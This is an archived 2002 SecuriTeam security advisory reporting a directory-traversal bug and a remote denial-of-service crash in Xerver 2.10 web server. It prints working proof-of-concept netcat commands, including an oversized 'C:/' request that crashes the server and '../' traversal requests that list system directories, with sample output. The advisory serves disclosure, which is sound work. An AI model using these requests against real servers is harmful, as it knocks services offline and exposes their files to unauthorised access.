

# [NEWS] Xerver 2.10 Directory Traversal and DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-03/0040.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 03/09/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Sat, 9 Mar 2002 00:30:00 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Xerver 2.10 Directory Traversal and DoS

---

## SUMMARY

<<http://www.javascript.nu/xerver/>> Xerver Free Web Server is a tiny web server allowing you to run CGI/perl scripts on your computer. Xerver is a tiny, fast and free web server, but is still advanced and supports both HTTP/1.1 and HTTP/1.0 and all HTTP methods (GET, POST and HEAD).

Xerver v2.1 suffers from a directory traversal vulnerability that allows to view directory listings, and to a DoS bug that enables to crash the web server remotely.

## DETAILS

Vulnerable systems:

Xerver v2.10 for Windows, Linux, BSD, Solaris, and MAC

Port 32123 is usually used for server configuration. It is possible to crash the server remotely by requesting the URL "C:\" several times.

Example:

```
$ printf "GET / perl -e 'print \"C:/\"x500000`\r\n\r\n" |nc -vvn 127.0.0.1  
32123
```

## Securiteam: [NEWS] Xerver 2.10 Directory Traversal and DoS

Another bug enables any remote user to view directory listings using standard web requests.

Example 1:

```
$ nc -vvn 127.0.0.1 80
(UNKNOWN) [127.0.0.1] 80 (?) open
GET /unix/ALEX/Xerver2.10/../../../../ HTTP/1.0
HTTP/1.1 200 OK
Date: March 6, 2002 8:52:51 PM CST
Server: Xerver_v2
Connection: close
Location: /
Content-Type: text/html
```

```
<HTML><HEAD><TITLE>Directory Listing for /</TITLE></HEAD><BODY
BGCOLOR=white COL
OR=black><FONT FACE="tahoma, arial, verdana"><H2>Directory Listing for
/</H2></F
ONT><PRE> <B>File name File size&nb
sp; Last modified</B>
```

Program Files

---

```
<A HREF="Program Files" STYLE="text-decoration: none;"><IMG
SRC="/Image:showFolder
er" BORDER=0> Program Files</A>
```

---

RECYCLER

---

```
<A HREF="RECYCLER" STYLE="text-decoration: none;"><IMG
SRC="/Image:showFolder" B
ORDER=0> RECYCLER</A>
```

---

WINNT

---

```
<A HREF="WINNT" STYLE="text-decoration: none;"><IMG
SRC="/Image:showFolder" BORD
ER=0> WINNT</A>
```

---

[...]

Accessing the following URL:

<http://localhost/unix/ALEX/Xerver2.10/../../../../>

Results in:

Directory Listing for /

## Securiteam: [NEWS] Xerver 2.10 Directory Traversal and DoS

File name File size Last modified

\$unix  
ALEX  
Documents and Settings  
My Downloads  
Program Files  
RECYCLER

[...]

Example 2:

```
$ nc -vvn 127.0.0.1 80
(UNKNOWN) [127.0.0.1] 80 (?) open
GET /unix/ALEX/Xerver2.10/../../../../WINNT/system32/ HTTP 1.0
```

The results is:

Directory Listing for /WINNT/system32/

File name File size Last modified

../  
AdCache  
CatRoot  
Com  
DTCLog  
DirectX  
GroupPolicy  
Hummbird  
IOSUBSYS  
Macromed  
Microsoft

[...]

Vendor Response:

The vendor was notified.

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:al3xhernandez@ureach.com>>  
Alex Hernandez.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

Securiteam: [NEWS] Xerver 2.10 Directory Traversal and DoS

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- ***Previous message:*** [support@securiteam.com](mailto:support@securiteam.com): "[NT] Symantec LiveUpdate Stores Information Insecurely (LiveUpdate, Ghost)"
  - ***Messages sorted by:*** [ date ] [ thread ] [ subject ] [ author ] [ attachment ]